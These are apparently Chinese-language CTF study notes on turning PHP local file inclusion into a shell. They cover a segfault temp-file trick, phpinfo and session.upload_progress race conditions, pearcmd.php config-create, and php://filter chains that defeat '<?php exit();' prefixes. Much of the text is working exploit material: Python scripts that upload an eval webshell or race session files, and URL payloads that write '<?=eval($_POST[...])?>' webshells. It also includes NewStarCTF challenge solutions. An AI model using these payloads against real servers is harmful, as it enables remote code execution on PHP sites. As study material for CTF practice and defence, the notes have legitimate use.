关于文件包含
🚩php7 segment fault特性
-
原理:php代码中使用php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样php的垃圾回收机制就不会继续执行,导致POST的文件会保存在系统的缓存目录下不会被删除,不像phpinfo上传的文件很快就会被删除,这样抢矿下我们只需要知道知道他的文件名就能包含我们的恶意代码
-
解析:使用php://filter/string.strip_tags导致清空堆栈重启,如果再同时上传一个文件,那么这个temp file就会一直停留在tmp目录,知道文件名就能getshell。(这个崩溃的原因就是存在溢出空指针引用。向php发送文件区块的数据包,让php异常退出,post的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹)
-
利用条件:
- 结合LFI可进行getshell
- 可以获取文件名
-
payload:
http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd
-
exp
import requests from io import BytesIO #BytesIO实现了在内存中读写bytes payload = "<?php eval($_POST[cmd]);?>" data={'file': BytesIO(payload.encode())} url="http://da24051d-c89f-4abe-84ed-907315344521.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" r=requests.post(url=url,files=data,allow_redirects=False)
-
fuzz
基于Go开发:gobuster https://github.com/OJ/gobuster 基于Java开发:dirbuster OWASP杰出工具 kali自带 基于Python开发:wfuzz https://github.com/xmendez/wfuzz
🚩临时文件包含
-
PHP LFI本地文件包含漏洞主要是包含本地服务器上储存的一些文件,例如session文件、日志文件、临时文件等。当我们在服务器上找不到我们可以包含的文件,就可以通过一些技巧让服务器存储我们恶意生成的临时文件,该临时文件包含我们构造的恶意代码
-
php临时文件机制
-
全局变量:在php可以使用POST和PUT方法进行文本和二进制的上传,上传的文件信息会被保存在全局变量$_FILE中
/tmp/php+随机六个字符$_FILES['userfile']['name'] 客户端文件的原名称。 $_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。 $_FILES['userfile']['size'] 已上传文件的大小,单位为字节。 $_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。 $_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。 $_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名 😎在临时文件包含中$_FILES['userfile']['name']这个变量值很重要,因为临时文件的名字是随机生成的,只有知道正确的文件名才能进行文件包含😎
-
-
临时文件存储的目录:文件被上传之后,默认会被存储到服务端的默认临时目录,该临时目录由php.ini的uoload_tmp_dir所指定,可以通过查看phpinfo来查看临时文件
- linux命名规则:通常的格式是/tmp/php+随机六个字符
- windows命名规则:\Windows\php+四个随机字符.tmp
-
phpinfo特性:如果网站存在phpinfo,那么就可以通过phpinfo来获取临时文件名
- 利用:验证phpinfo的特性确实存在的话,当文件包含漏洞找不到可以利用的文件时,可以利用该特性来提取临时文件,然后getshell
- 利用过程:
- 发送包含webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面会撑的非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没删除
- 利用这个时差,第二个数据包,也就是文件包含的利用,既可以成功包含临时文件,最终getshell
- poc:https://www.anquanke.com/post/id/201136
🚩session.upload_progress与文件包含
-
简述:PHP中可以通过session progress功能实现临时文件的写入
-
利用条件
- 目录环境开启了session.uoload_progress.enable选项
- 发送了一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
- 请求的cookie中包含了session ID
-
原理:php开启了session.upload_progress.enable后(在包括docker的大部分环境下默认开启),将会把用户上传文件的信息保存在session中,而php的session是默认开启的
-
poc
import threading import requests from concurrent.futures import ThreadPoolExecutor, waittarget = 'http://192.168.1.162:8080/index.php' session = requests.session() flag = 'helloworld'def upload(e: threading.Event):files = [('file', ('load.png', b'a' * 40960, 'image/png')),]data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}while not e.is_set():requests.post(target,data=data,files=files,cookies={'PHPSESSID': flag},)def write(e: threading.Event):while not e.is_set():response = requests.get(f'{target}?file=/tmp/sess_{flag}',)if flag.encode() in response.content:e.set()if __name__ == '__main__':futures = []event = threading.Event()pool = ThreadPoolExecutor(15)for i in range(10):futures.append(pool.submit(upload, event))for i in range(5):futures.append(pool.submit(write, event))wait(futures)
🚩pearcmd.php的利用
-
pecl是php中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的,在7.4及以后,需要我们在编译php的时候指定--with-pear才会安装
-
在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
-
原本pear/pcel是一个命令行工具,并不在web目录下,即使存在一些安全隐患也无需担心。但当遇到是一个文件包含的场景,那么我们就可以包含到pear中的文件
-
原理:pear默认安装路径为/usr/local/lib/php/pear.php,在命令行中可以使用pear和/usr/local/lib/php/pear.php运行,如果存在文件包含漏洞,则可以直接运行此命令,同时打开了register_argc_argv选项,那么用户传入的内容就可以传入到$argc、$argv、$_SERVER['argc']这几个变量里面
-
利用条件:
- 有pear扩展,这样才能有pearcmd.php
- php开启了register_argc_argv选项
- 知道pearcmd.php的路径(默认是/usr/local/lib/php/pearcmd.php)
- 有包含点,能够包含php后缀的文件,而且没有open_basedir的限制
-
利用方式:包含pearcmd.php才能执行pear程序
-
payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/hello.php
[NewStarCTF 公开赛赛道]IncludeTwo
-
源代码
<?php error_reporting(0); highlight_file(__FILE__); //Can you get shell? RCE via LFI if you get some trick,this question will be so easy! if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){include($_GET['file'].".php"); }else{die("Hacker!"); }
-
这里过滤了filter/rot13/base64,但是在文件名之后添加了.php,而且题目提示了LFI本地文件包含,同时还有个php后缀限制,这里就可以尝试pearcmd文件包含
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php //file后面是pearcmd的默认路径,因为index.php后面会加php,所以我们直接添加/usr/local/lib/php/pearcmd就可以了,&后面就是第一个参数,第三个+后面是第二个参数
-
查看根目录
-
读取flag
[NewStarCTF 2023 公开赛道]Include 🍐
-
源代码
<?phperror_reporting(0);if(isset($_GET['file'])) {$file = $_GET['file']; if(preg_match('/flag|log|session|filter|input|data/i', $file)) {die('hacker!');} include($file.".php");# Something in phpinfo.php!}else {highlight_file(__FILE__);} ?>
-
跟上道题基本一样
🚩关于file_put_contents绕过<?php exit()
-
前提条件:filename变量和content变量可控并且不同
file_put_contents($filename,”<?php exit();”.$content);
思路:filename控制的是写入的文件名,content变量拼接在<?php exit();后面,如果我们想要利用的话就要让<?php exit();失效。如果我们尝试使用php://filter协议,对content进行解码再写入协议,而且该协议支持多个过滤器规则,也就是说我们可以使用多个过滤器进行操作
-
方法一:base64编码
-
方法二:rot13编码
-
方法三:组合编码,因为php://filter协议支持多个过滤器,所以我们可以使用多个过滤器组合绕过
php://filter/write=string.strip_tags|convert.base64-decode/resource=flag.php
-
前提条件:前后两个变量相等且可控
file_put_contents($a,”<?php exit();”.$a);
-
方法一:rot13编码
-
方法二:iconv字符编码:通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转
$a='php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=flag.php'; $a='php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=flag.php';
-
方法三:组合编码
-
UCS-2和rot13编码
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=flag.php
-
通过iconv将utf8编码转为utf7编码
utf8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=flag.php utf7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-flag.php
-
linux系统:strip_tags方法结合base64编码
php://filter/write=string.strip_tags|convert.base64-decode/resource=flag.php
-